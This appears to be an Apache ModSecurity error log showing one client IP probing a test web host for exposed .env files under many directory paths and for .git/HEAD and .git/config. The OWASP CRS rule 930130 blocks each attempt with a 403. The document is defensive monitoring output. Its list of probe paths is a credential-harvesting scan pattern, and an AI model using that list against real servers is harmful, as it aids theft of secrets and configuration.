[Wed Mar 11 20:56:55.255331 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "abHJBxM06ibq-fKkKHKWIAAAABA"]
[Wed Mar 11 20:56:55.255502 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "abHJBxM06ibq-fKkKHKWIAAAABA"]
[Wed Mar 11 20:56:55.255635 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "abHJBxM06ibq-fKkKHKWIAAAABA"]
[Wed Mar 11 20:56:55.317123 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/rest/.env"] [unique_id "abHJB-BvFsx28IYw-q9nHQAAAAg"]
[Wed Mar 11 20:56:55.317380 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/rest/.env"] [unique_id "abHJB-BvFsx28IYw-q9nHQAAAAg"]
[Wed Mar 11 20:56:55.317539 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/rest/.env"] [unique_id "abHJB-BvFsx28IYw-q9nHQAAAAg"]
[Wed Mar 11 20:56:55.338566 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /graphql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/graphql/.env"] [unique_id "abHJBwGa7hTYdm05K1T1xwAAAAU"]
[Wed Mar 11 20:56:55.338758 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/graphql/.env"] [unique_id "abHJBwGa7hTYdm05K1T1xwAAAAU"]
[Wed Mar 11 20:56:55.338896 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/graphql/.env"] [unique_id "abHJBwGa7hTYdm05K1T1xwAAAAU"]
[Wed Mar 11 20:56:55.340163 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abHJBxM06ibq-fKkKHKWIQAAABA"]
[Wed Mar 11 20:56:55.340285 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abHJBxM06ibq-fKkKHKWIQAAABA"]
[Wed Mar 11 20:56:55.340389 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abHJBxM06ibq-fKkKHKWIQAAABA"]
[Wed Mar 11 20:56:55.384776 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abHJB0as0R32zSQmEomvSwAAABM"]
[Wed Mar 11 20:56:55.384783 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "abHJBykCWy977yPh9ymvNQAAAAc"]
[Wed Mar 11 20:56:55.384939 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "abHJBykCWy977yPh9ymvNQAAAAc"]
[Wed Mar 11 20:56:55.384938 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abHJB0as0R32zSQmEomvSwAAABM"]
[Wed Mar 11 20:56:55.385069 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abHJB0as0R32zSQmEomvSwAAABM"]
[Wed Mar 11 20:56:55.385071 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "abHJBykCWy977yPh9ymvNQAAAAc"]
[Wed Mar 11 20:56:55.410869 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /db/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db/.env"] [unique_id "abHJB6LYNbOGi8i_DeWmFAAAAAo"]
[Wed Mar 11 20:56:55.411047 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db/.env"] [unique_id "abHJB6LYNbOGi8i_DeWmFAAAAAo"]
[Wed Mar 11 20:56:55.411179 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db/.env"] [unique_id "abHJB6LYNbOGi8i_DeWmFAAAAAo"]
[Wed Mar 11 20:56:55.441868 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "abHJB5X0JxooV6RUP8UrcgAAAA4"]
[Wed Mar 11 20:56:55.442048 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "abHJB5X0JxooV6RUP8UrcgAAAA4"]
[Wed Mar 11 20:56:55.442618 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "abHJB5X0JxooV6RUP8UrcgAAAA4"]
[Wed Mar 11 20:56:55.452963 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "abHJB1HINoBDNij9jADMGQAAAAE"]
[Wed Mar 11 20:56:55.453118 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "abHJB1HINoBDNij9jADMGQAAAAE"]
[Wed Mar 11 20:56:55.453247 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "abHJB1HINoBDNij9jADMGQAAAAE"]
[Wed Mar 11 20:56:55.515768 2026] [authz_core:error] [pid 2634210] [client 185.177.72.60:41716] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/.env
[Wed Mar 11 20:56:55.518779 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "abHJB1HINoBDNij9jADMGgAAAAE"]
[Wed Mar 11 20:56:55.518940 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "abHJB1HINoBDNij9jADMGgAAAAE"]
[Wed Mar 11 20:56:55.519046 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "abHJB1HINoBDNij9jADMGgAAAAE"]
[Wed Mar 11 20:56:55.575643 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "abHJB6PPzlNIonXxp6eEoAAAAAw"]
[Wed Mar 11 20:56:55.575816 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "abHJB6PPzlNIonXxp6eEoAAAAAw"]
[Wed Mar 11 20:56:55.575975 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "abHJB6PPzlNIonXxp6eEoAAAAAw"]
[Wed Mar 11 20:56:55.677249 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YWgAAAAA"]
[Wed Mar 11 20:56:55.677422 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YWgAAAAA"]
[Wed Mar 11 20:56:55.677576 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "abHJB_-pQA8QpEk0_N8YWgAAAAA"]
[Wed Mar 11 20:56:56.911496 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abHJCAGa7hTYdm05K1T1yAAAAAU"]
[Wed Mar 11 20:56:56.911646 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abHJCAGa7hTYdm05K1T1yAAAAAU"]
[Wed Mar 11 20:56:56.911801 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abHJCAGa7hTYdm05K1T1yAAAAAU"]
[Wed Mar 11 20:56:56.912282 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHJCA5jPndcvXiI_NwnLQAAAA0"]
